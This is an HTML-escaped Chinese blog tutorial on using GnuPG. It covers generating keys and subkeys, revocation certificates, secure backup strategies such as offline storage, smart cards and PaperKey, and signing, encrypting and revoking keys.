&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;## step 0
gpg --full-gen-key
## 这里不推荐使用的 `gpg --gen-key`

## step 1
gpg (GnuPG) 2.2.20; Copyright (C) 2020 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
  (14) Existing key from card
Your selection?
##  默认就可以

## step 2
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (3072)

## 此处输入你希望的密钥长度， RSA的不应低于2048 bits，当然输入的数字越大越安全，相应的，加解密的速度也会更慢

## step 3
Please specify how long the key should be valid.
         0 = key does not expire
      &amp;lt;n&amp;gt;  = key expires in n days
      &amp;lt;n&amp;gt;w = key expires in n weeks
      &amp;lt;n&amp;gt;m = key expires in n months
      &amp;lt;n&amp;gt;y = key expires in n years
Key is valid for? (0)  2y

## 默认可以选0 ，即永不过期， 这里我选了2y，  因为到期之前随时可以更改你的过期时间，以确保你对此密钥仍拥有控制权

## step 4
Key expires at Wed 11 Jan 2023 05:50:53 PM CST
Is this correct? (y&amp;#x2F;N) y

#确定

## step 5

GnuPG needs to construct a user ID to identify your key.

Real name:  linus   # 这里名字可以是网名，可以是任意名字，如果你注重隐私就不要输入自己真名了
Email address: linus@outlook.com
Comment:     # 备注可以留空

## 注意了： 这里的邮箱， 如果你不打算使用PGP为你的Git记录认证， 这里其实是可以随便输入的，不需要是你的邮箱， 甚至不需要是一个真实存在的邮箱，只要接受你信息的人知道就行。隐私泄漏问题很严重，你一旦设置了，并且发布到公钥服务器，就永远删不掉了 😅

## step 6
You selected this USER-ID:
    &amp;quot;linus &amp;lt;linust@outlook.com&amp;gt;&amp;quot;

Change (N)ame, (C)omment, (E)mail or (O)kay&amp;#x2F;(Q)uit? o

## 确认无误后输入 o

## step 7
┌──────────────────────────────────────────────────────┐
│ Please enter the passphrase to                       											  │
│ protect your new key                                                           │
│                                                      │
│ Passphrase: ________________________________________ 														 │
│                                                      │
│       &amp;lt;OK&amp;gt;                              &amp;lt;Cancel&amp;gt;     │
└──────────────────────────────────────────────────────┘

## 输入一个复杂的密码 并确认

## step 8
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.

## 随机移动你的鼠标，越随机你的密钥越安全

## step 9 大功告成

gpg: key 99F583599B7E31F1 marked as ultimately trusted
gpg: revocation certificate stored as &amp;#x27;&amp;#x2F;root&amp;#x2F;.gnupg&amp;#x2F;openpgp-revocs.d&amp;#x2F;705358AB85366CAB05C0220F99F583599B7E31F1.rev&amp;#x27;
public and secret key created and signed.

pub   rsa3072 2021-01-11 [SC]
      705358AB85366CAB05C0220F99F583599B7E31F1			 # 你的 key id
uid                      linus &amp;lt;linus@outlook.com&amp;gt;
sub   rsa3072 2021-01-11 [E] 		 # 这个是自动生成的用于加密的子密钥，E代表Encrypt 加密

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以下是常见缩写释义：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;A    =&amp;gt;    Authentication
C    =&amp;gt;    Certify
E    =&amp;gt;    Encrypt
S    =&amp;gt;    Sign
?    =&amp;gt;    Unknown capability
sec  =&amp;gt;    Secret Key
ssb  =&amp;gt;    Secret SuBkey
pub  =&amp;gt;    Public Key
sub  =&amp;gt;    Public Subkey
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;sheng-cheng-zi-mi-yao&quot;&gt;生成子密钥&lt;&#x2F;h5&gt;
&lt;p&gt;你日常使用应该使用子密钥，主密钥除了签发新的子密钥不要使用。&lt;&#x2F;p&gt;
&lt;p&gt;建议为不同环境，不同用途都单独生成子密钥，互不干扰。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;## step 0
gpg --edit-key linus # 或者key id

## step 1  进入gpg交互界面
gpg (GnuPG) 2.2.20; Copyright (C) 2020 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Secret key is available.

sec  rsa3072&amp;#x2F;99F583599B7E31F1
     created: 2021-01-11  expires: never       usage: SC
     trust: ultimate      validity: ultimate
ssb  rsa3072&amp;#x2F;6FE9C71CFED44076
     created: 2021-01-11  expires: never       usage: E
[ultimate] (1). linus &amp;lt;linus@outlook.com&amp;gt;C

## step 2
gpg&amp;gt;   addkey
Please select what kind of key you want:
   (3) DSA (sign only)
   (4) RSA (sign only)
   (5) Elgamal (encrypt only)
   (6) RSA (encrypt only)
  (14) Existing key from card
Your selection? 4
## 根据你的用途选择， 这里生成一个只用于签名的子密钥（sign only）

##  后面的选择和主密钥生成的大同小异，按提示操作即可

## 生成完毕后
sec  rsa3072&amp;#x2F;99F583599B7E31F1
     created: 2021-01-11  expires: never       usage: SC
     trust: ultimate      validity: ultimate
ssb  rsa3072&amp;#x2F;6FE9C71CFED44076
     created: 2021-01-11  expires: never       usage: E
ssb  rsa3072&amp;#x2F;FDB960B857D397F6
     created: 2021-01-11  expires: never       usage: S
[ultimate] (1). linus &amp;lt;linus@outlook.com&amp;gt;

##  last step
gpg&amp;gt;  save  #  记得save， 直接退出的话什么也没有
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;sheng-cheng-che-xiao-zheng-shu&quot;&gt;生成撤销证书&lt;&#x2F;h5&gt;
&lt;p&gt;假如你忘了主密钥的密码，或者丢失了对主密钥的控制权（丢失，被夺取），如果没有撤销凭证的话， 除了一个个通知你的朋友们没有任何办法 证明你不再使用这个密钥，这简直是灾难。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;## step 0
gpg --gen-revoke -ao   revoke.pgp   linus # uid 或者key id

## step 1
sec  rsa3072&amp;#x2F;99F583599B7E31F1 2021-01-11 linus &amp;lt;linus@outlook.com&amp;gt;

Create a revocation certificate for this key? (y&amp;#x2F;N) y
Please select the reason for the revocation:
  0 = No reason specified
  1 = Key has been compromised
  2 = Key is superseded
  3 = Key is no longer used
  Q = Cancel
(Probably you want to select 1 here) 3

## 按提示走完流程就可以

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成的&lt;code&gt;revoke.pgp&lt;&#x2F;code&gt;就是撤销凭证， 有了这个撤销凭证，你可以在没有密码的情况下使一个公钥失效，所以一定要妥善保存，而且最好比主密钥多一份。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;lie-chu-mi-yao&quot;&gt;列出密钥&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;## 列出所有公钥、子公钥
gpg --list-keys
## 列出所有密钥、子密钥
gpg --list-secret-keys

## 简化命令
gpg -k
gpg -K

## 输出
sec   rsa3072 2021-01-11 [SC]
      705358AB85366CAB05C0220F99F583599B7E31F1
uid           [ultimate] linus &amp;lt;linus@outlook.com&amp;gt;
ssb   rsa3072 2021-01-11 [E]
ssb   rsa3072 2021-01-11 [S]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样并没有列出子密钥的id, 而且没有打印出指纹信息， 是不安全的。所以在你查看密钥时应该&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;加上 &lt;code&gt;--keyid-format long&lt;&#x2F;code&gt;输出长ID&lt;&#x2F;li&gt;
&lt;li&gt;加上 &lt;code&gt;--fingerprint&lt;&#x2F;code&gt; 输出指纹信息&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;比如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt; gpg --fingerprint -K --keyid-format long

 # 输出
sec   rsa3072&amp;#x2F;0x99F583599B7E31F1 2021-01-11 [SC]		# 长ID
      Key fingerprint = 7053 58AB 8536 6CAB 05C0  220F 99F5 8359 9B7E 31F1 #指纹信息
uid                   [ultimate] linus &amp;lt;linus@outlook.com&amp;gt;
ssb   rsa3072&amp;#x2F;0x6FE9C71CFED44076 2021-01-11 [E]            # 斜杠后面的就是子密钥ID
ssb   rsa3072&amp;#x2F;0xFDB960B857D397F6 2021-01-11 [S]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;an-quan-she-zhi&quot;&gt;安全设置&lt;&#x2F;h4&gt;
&lt;p&gt;每次都打 &lt;code&gt;--keyid-format long&lt;&#x2F;code&gt;和&lt;code&gt;--fingerprint&lt;&#x2F;code&gt; 很烦对不对， 编辑配置gpg文件, &lt;code&gt;vim  ~&#x2F;.gnupg&#x2F;gpg.conf&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;## ~&amp;#x2F;.gnupg&amp;#x2F;gpg.conf

keyid-format 0xlong
with-fingerprint
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;bei-fen&quot;&gt;备份&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;gpg -ao public-key.txt --export linus   # 导出公钥

## 注意这里最后 要带上“!”， 不然会导出全部子密钥， 感谢@Dallas Lu 指正
gpg  -ao secret-key --export-secret-key 99F583599B7E31F1! 			# 导出主私钥，建议secret-key 替换为你的加密设备备份文件的路径，直接导入到设备中
gpg  -ao sign-subkey --export-secret-subkeys FDB960B857D397F6!   	 #导出有[S]标识、签名用子私钥
gpg  -ao encrypt-subkey --export-secret-subkeys 6FE9C71CFED44076!    #导出有[E]标识、加密用子私钥 ,这里的ID替换为你的子密钥ID

## 别忘了同时将你刚刚生成的撤销凭证也备份起来
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;shan-chu&quot;&gt;删除&lt;&#x2F;h4&gt;
&lt;p&gt;备份完后，要将本机的密钥清除干净，首先删除：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;
gpg --delete-secret-keys linus  # 删除私钥，  UID 也可以替换成子密钥ID, 主密钥Key ID
gpg --delete-keys linus		 # 删除公钥

## 如果想全部删除推荐直接删文件夹,即删除 $HOME&amp;#x2F;.gnupg

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由于gpg生成的私钥会在你的磁盘上使用明文储存，所以一个单独的 &lt;code&gt;rm&lt;&#x2F;code&gt; 或者右键删除 并不能彻底删除掉，可以使用 wipe 工具。如果你使用的是 SSD 且没有 启用全盘加密，是没法彻底删除的。&lt;&#x2F;p&gt;
&lt;p&gt;特别推荐使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tails.boum.org&#x2F;&quot;&gt;Tails (boum.org)&lt;&#x2F;a&gt;发行版来生成主要使用的密钥， 系统自带pgp和paper key 等工具, 可以确保全程断网操作, 同时此系统重启会擦除所有内容，还免去了擦除密钥的麻烦。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;dao-ru&quot;&gt;导入&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;#从文件导入
gpg --import [密钥文件]   # 刚刚备份的子密钥文件， 或者其他人的公钥

## 暂不推荐从公钥服务器导入，具体用法会在公钥服务器一章介绍
## 这里先推荐 练习导入自己的子密钥

 # 输出
sec#   rsa3072&amp;#x2F;0x99F583599B7E31F1 2021-01-11 [SC]		 # sec 后面带有 # 号说明主密钥未导入，是安全的
      Key fingerprint = 7053 58AB 8536 6CAB 05C0  220F 99F5 8359 9B7E 31F1 #指纹信息
uid                   [unknown] linus &amp;lt;linus@outlook.com&amp;gt;
ssb #    rsa3072&amp;#x2F;0x6FE9C71CFED44076 2021-01-11 [E]           # 带有 # 号说明该子密钥已导入

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;qian-ming-he-yan-zheng&quot;&gt;签名和验证&lt;&#x2F;h4&gt;
&lt;p&gt;这里只讲 如何签名和验证 他人文件，  为他人公钥签名和验证 放在公钥的发布和交换一章讲解。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;## 第一种方式，生成二进制签名文件

gpg --sign input.txt  # 当然也可以加上--output参数

## 第二种方式，生成ASCII格式签名
gpg --clearsign input.txt

## 第三种，签名和原文本分开（前两种的签名文件中包含了所有原文本，所以体积会比较大）
gpg --armor --detach-sign input.txt  #不加armor生成会二进制

##  验证签名文件
gpg --verify demo.txt.asc demo.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;jia-jie-mi&quot;&gt;加解密&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;## 加密：

## recipient指定接收者的公钥ID
gpg --recipient {keyid&amp;#x2F;uid} --output encrypt.txt --encrypt input.txt
## 也可以按喜好加上--armor选项等

## 我更喜欢用
gpg  -se  -o  encrypt.txt  -r  {keyid&amp;#x2F;uid}   input.txt
## s代表签名  e代表加密
## o是 将结果 输出到文件  encrypt.txt
## r后面跟 接收者的 uid或者 key id， 接收者的公钥必须已经导入过
## input.txt 是你要加密的文件

## 解密：
gpg --decrypt encrypt.txt --output decrypt.txt
## 也可以
gpg -d encrypt.txt   # 输出到终端 直接查看

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;fa-bu-yu-jiao-huan&quot;&gt;发布 与 交换&lt;&#x2F;h4&gt;
&lt;p&gt;公钥的交换是所有非对称加密算法的脆弱点，所谓现代的使用方式，主要体现在密钥的交换和发布上面， 之后会单独来探讨。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;阅读并理解本系列之前请不要发布你的公钥到公钥服务器&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;che-xiao&quot;&gt;撤销&lt;&#x2F;h4&gt;
&lt;p&gt;由于PGP没有提供任何将吊销信息通知其他用户的方式，他不能保证没人会使用撤销了的已经变得不安全的密钥。&lt;&#x2F;p&gt;
&lt;p&gt;你丢失的私钥仍然可以被攻击者使用，并用来解密那些没有更新你的公钥的人发送的加密消息。  revoke 子密钥并更新公钥后，若有人用老的公钥加密信息，虽然你仍然可以解密，但是攻击者同样可以，这时候是极度不安全的。&lt;&#x2F;p&gt;
&lt;p&gt;例如：如果A的私人密钥被盗，她将发出一个密钥撤销证书（key revocation certificate），但是由于这个密钥的分发是非正式的且将费大量的时间和口舌，故不能保证密钥环中每一个有A公开密钥的用户都能收到。由于A必须用她的私人密钥签名撤消的证书，所以如果A同时丢失了私人密钥，她就不能撤销密钥。密钥的撤销问题被认为是整个系统最薄弱的环节。&lt;&#x2F;p&gt;
&lt;p&gt;所以在你将密钥撤销后，请将撤销后的公钥发布到你一贯公布公钥的地方， 并尽可能通知其他人。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;che-xiao-zhu-mi-yao&quot;&gt;撤销主密钥&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;gpg --import gpg-linus.asc                                               # 在一台新的电脑上导入你的公钥
gpg: key 99F583599B7E31F1: &amp;quot;linus &amp;lt;linus@outlook.com&amp;gt;&amp;quot; not changed
gpg: Total number processed: 1
gpg:              unchanged: 1

gpg --import revoke                                                       # 导入你备份的撤销凭证，直接会导致密钥不可用

gpg: key 99F583599B7E31F1: &amp;quot;linus &amp;lt;linus@outlook.com&amp;gt;&amp;quot; revocation certificate imported
gpg: Total number processed: 1
gpg:    new key revocations: 1
gpg: marginals needed: 3  completes needed: 1  trust model: pgp
gpg: depth: 0  valid:   1  signed:   1  trust: 0-, 0q, 0n, 0m, 0f, 1u
gpg: depth: 1  valid:   1  signed:   0  trust: 1-, 0q, 0n, 0m, 0f, 0u
gpg: next trustdb check due at 2021-09-29

gpg -k																	# 查看密钥，已经revoke

pub   rsa3072 2021-01-11 [SC] [revoked: 2021-01-11]
      705358AB85366CAB05C0220F99F583599B7E31F1
uid           [ revoked] linus &amp;lt;linus@outlook.com&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;che-xiao-zi-mi-yao&quot;&gt;撤销子密钥&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;gpg --edit-key linus

gpg &amp;gt;   list  # 列出你所有的子密钥
gpg &amp;gt;   key  {n}  # 选择你要销毁的子密钥的 序号
gpg &amp;gt;   revkey
gpg &amp;gt;   save    # 退出前一定要save, 不然所有更改不会生效

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2021nian-yong-geng-xian-dai-de-fang-fa-shi-yong-pgp-zhong&quot;&gt;2021年，用更现代的方法使用PGP（中）&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;世界上有两种密码:一种是防止你的小妹妹偷看你的文件;另一种是防止当局阅读你的文件.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  																										—— Bruce Schneier《应用密码学》
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;2021nian-yong-geng-xian-dai-de-fang-fa-shi-yong-pgp-zhong-1&quot;&gt;2021年，用更现代的方法使用PGP（中）&lt;&#x2F;h3&gt;
&lt;h5 id=&quot;shang-pian-lian-jie&quot;&gt;上篇链接:&lt;&#x2F;h5&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ulyc.github.io&#x2F;2021&#x2F;01&#x2F;13&#x2F;2021%E5%B9%B4-%E7%94%A8%E6%9B%B4%E7%8E%B0%E4%BB%A3%E7%9A%84%E6%96%B9%E6%B3%95%E4%BD%BF%E7%94%A8PGP-%E4%B8%8A&#x2F;&quot;&gt;2021年，用更现代的方法使用PGP（上）&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;san-an-quan-shi-yong-he-bei-fen&quot;&gt;三、安全使用和备份&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;zhun-bei&quot;&gt;准备&lt;&#x2F;h4&gt;
&lt;p&gt;为了安全性，建议在一台断网的Linux或者BSD系统上生成你的密钥对。&lt;&#x2F;p&gt;
&lt;p&gt;特别推荐使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tails.boum.org&#x2F;&quot;&gt;Tails (boum.org)&lt;&#x2F;a&gt;发行版，系统自带gpg和paperkey 等工具, 可以确保全程断网操作, 同时此系统重启会擦除所有内容，还免去了擦除密钥的麻烦。 需要工具：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;一台电脑&lt;&#x2F;li&gt;
&lt;li&gt;一个装有Tails系统的U盘0 , 使用它生成密钥&lt;&#x2F;li&gt;
&lt;li&gt;一个已经全盘加密的U盘&#x2F;TF 卡 1（推荐），或者智能卡 ,  用来存储主密钥&lt;&#x2F;li&gt;
&lt;li&gt;一个智能卡  (推荐) ，或者已经全盘加密的U盘&#x2F;TF 卡  2,  用来存放子密钥，日常使用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;bei-fen-ce-lue&quot;&gt;备份策略&lt;&#x2F;h4&gt;
&lt;p&gt;我的备份策略：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;主密钥只保留一份，离线。&lt;&#x2F;li&gt;
&lt;li&gt;子密钥可以复制多份，通过U盘导入各个设备，专密专用， 日常使用推荐用智能卡（比如Yubikey），还能免去每次输密码的麻烦&lt;&#x2F;li&gt;
&lt;li&gt;撤销凭证可以和主密钥放在一起备份一份， 另外单独备份一份（这样丢失密钥，起码还可以撤销）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;主密钥备份建议备份在一个全盘加密的U盘中，然后放在一个绝对安全的地方。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;bei-fen-jie-zhi&quot;&gt;备份介质：&lt;&#x2F;h4&gt;
&lt;h6 id=&quot;zhi-neng-qia&quot;&gt;智能卡&lt;&#x2F;h6&gt;
&lt;p&gt;主密钥&lt;strong&gt;不建议&lt;&#x2F;strong&gt;导入智能卡设备，因为智能卡的使用场景是随身携带，随时取用，虽然智能卡中的密钥无法导出，但是随身携带增加了丢失的风险，主密钥一旦丢失，将会非常麻烦。&lt;&#x2F;p&gt;
&lt;p&gt;如果是土豪，当然导入智能卡中更好，因为智能卡中密钥无法导出，只不过这个智能卡不能再随身携带，而同样应该在一个安全的地方， 不到万不得已不再取用， 不过这样有些浪费，也是我不推荐的理由。&lt;&#x2F;p&gt;
&lt;h6 id=&quot;wang-pan-cun-chu&quot;&gt;网盘存储&lt;&#x2F;h6&gt;
&lt;p&gt;你可以将主私钥加密后上传到网盘或其他线上服务。&lt;&#x2F;p&gt;
&lt;h6 id=&quot;paperkey&quot;&gt;PaperKey&lt;&#x2F;h6&gt;
&lt;p&gt;又是断网操作，又是非对称算法，还要好好保存一份私钥，这一套流程走下来你也发现了跟数字货币的相似性，很多备份方式都可以借鉴他们的思路，比如上面网盘存储就是数字货币热钱包的思路。&lt;&#x2F;p&gt;
&lt;p&gt;冷钱包很经典的一种方式，就是将私钥写&#x2F;打印在纸上， 当然我们也可以借鉴，不过若你想将这一眼望不到头的私钥抄下来， 或者打印下来，将来需要恢复的时候再一个个输入进电脑，显然不现实。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] PGP 私钥的 ASCII Armor 文本截图：以 -----BEGIN PGP PRIVATE KEY BLOCK----- 开头，正文为整屏 base64 编码的私钥数据，即密钥导出后的文本形态。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;（示例私钥的一部分，用完即废，如果是你自己的私钥，打死也不要给别人看）&lt;&#x2F;p&gt;
&lt;p&gt;比如比特币， 私钥长这样：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;5KYZdUEo39z3FPrtuX2QbbwGnNP5zTd7yyr2SC1j299sBCnWjss          # 这么短很容易抄写和输入
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;同样是非对称算法,为什么PGP的私钥就长这么多呢？&lt;&#x2F;p&gt;
&lt;p&gt;因为他们用的算法不同，比特币默认使用的是ECDSA的 secp256k1算法， 该算法只是用来签名和认证，并不用来加密（很多科普文章会说这是加密算法，比特币的算法也可以用来加密，这是错的，比特币之所以有时被称作加密货币只是因为它依赖了密码学中的非对称算法，并不是它能加密…），PGP默认的是RSA算法，可以同时用来签名和加密，前面说过目前RSA密钥长度不小于2048 bit才安全，而且PGP导出的私钥中不止密钥信息，还包含了全部的公钥信息，UID，子密钥信息，以及设置密码时的混淆。&lt;&#x2F;p&gt;
&lt;p&gt;Linux下有一个工具叫做&lt;code&gt;paperkey&lt;&#x2F;code&gt;， 可以用来消去私钥中 冗余的公钥信息，极大减少私钥长度，然后可以将精简过的私钥(base 16格式)打印出来，或者将Raw格式转换成二维码，打印出来。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;既然决定用PaperKey， 还是不要使用网络打印机了，&lt;&#x2F;li&gt;
&lt;li&gt;paperkey这个工具在Tails新版中是默认软件&lt;&#x2F;li&gt;
&lt;li&gt;paperkey 手册中推荐 恢复私钥时使用OCR扫描， 而大部分OCR服务都要联网， 请注意这点。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;blockquote&gt;
&lt;h6 id=&quot;qi-ta&quot;&gt;其他&lt;&#x2F;h6&gt;
&lt;p&gt;密钥只是一段信息，理论上可以放在其他任何可以存储信息的介质中，例如光盘，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ulyc.github.io&#x2F;2019&#x2F;03&#x2F;15&#x2F;%E7%9B%B2%E6%B0%B4%E5%8D%B0%E5%92%8C%E5%9B%BE%E7%89%87%E9%9A%90%E5%86%99%E6%9C%AF&#x2F;&quot;&gt;隐写在图片中&lt;&#x2F;a&gt;， &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ulyc.github.io&#x2F;2020&#x2F;01&#x2F;18&#x2F;%E5%B8%B8%E8%A7%81RFID%E5%8D%A1%E7%89%87%E4%BB%8B%E7%BB%8D-%E7%A0%B4%E8%A7%A3%E6%80%9D%E8%B7%AF-%E5%8F%8A-Proxmark3%E7%AE%80%E4%BB%8B&#x2F;&quot;&gt;写入IC卡&lt;&#x2F;a&gt; ， &lt;del&gt;纹身，&lt;&#x2F;del&gt; ， &lt;del&gt;X光片&lt;&#x2F;del&gt; ，&lt;del&gt;背下来&lt;&#x2F;del&gt; 等等等等，可以发挥你的想象力。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;an-quan-shi-yong&quot;&gt;安全使用&lt;&#x2F;h4&gt;
&lt;p&gt;请在你信任的电脑上使用子密钥，主密钥不到万不得已不要拿出来用，如果你将子密钥放在智能卡中使用，可以忽略这部分。&lt;&#x2F;p&gt;
&lt;p&gt;子密钥可以放在移动存储设备上直接使用，而无需拷贝&#x2F;导入到电脑使用， 使用方法：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;gpg --homedir [你的存储设备的路径]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;si-jin-jie-shi-yong&quot;&gt;四、进阶使用&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;shi-yong-qi-ta-suan-fa&quot;&gt;使用其他算法&lt;&#x2F;h4&gt;
&lt;p&gt;在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ulyc.github.io&#x2F;2021&#x2F;01&#x2F;18&#x2F;2021%E5%B9%B4-%E7%94%A8%E6%9B%B4%E7%8E%B0%E4%BB%A3%E7%9A%84%E6%96%B9%E6%B3%95%E4%BD%BF%E7%94%A8PGP-%E4%B8%AD&#x2F;#%E4%B8%BA%E4%BB%80%E4%B9%88%E5%AE%89%E5%85%A8%EF%BC%9F&quot;&gt;为什么安全？&lt;&#x2F;a&gt;一节中 提到PGP支持很多算法，可是前面我们生成密钥时，只见到了很少的几种。&lt;&#x2F;p&gt;
&lt;p&gt;因为gpg还有一种隐藏模式—- 专家模式，生成密钥时可以使用&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;gpg --expert --full-gen-key
## 输出

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
   (7) DSA (set your own capabilities)
   (8) RSA (set your own capabilities)
   (9) ECC and ECC
  (10) ECC (sign only)
  (11) ECC (set your own capabilities)
  (13) Existing key
  (14) Existing key from card

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;就可以看到多出来不少选项，其中ECC算法 全称Elliptic Curve Cryptography 椭圆曲线密码算法。&lt;&#x2F;p&gt;
&lt;p&gt;上面我选了 9 , 继续&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;  Please select which elliptic curve you want
   (1) Curve 25519
   (3) NIST P-256
   (4) NIST P-384
   (5) NIST P-521
   (6) Brainpool P-256
   (7) Brainpool P-384
   (8) Brainpool P-512
   (9) secp256k1            # 比特币使用的算法
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
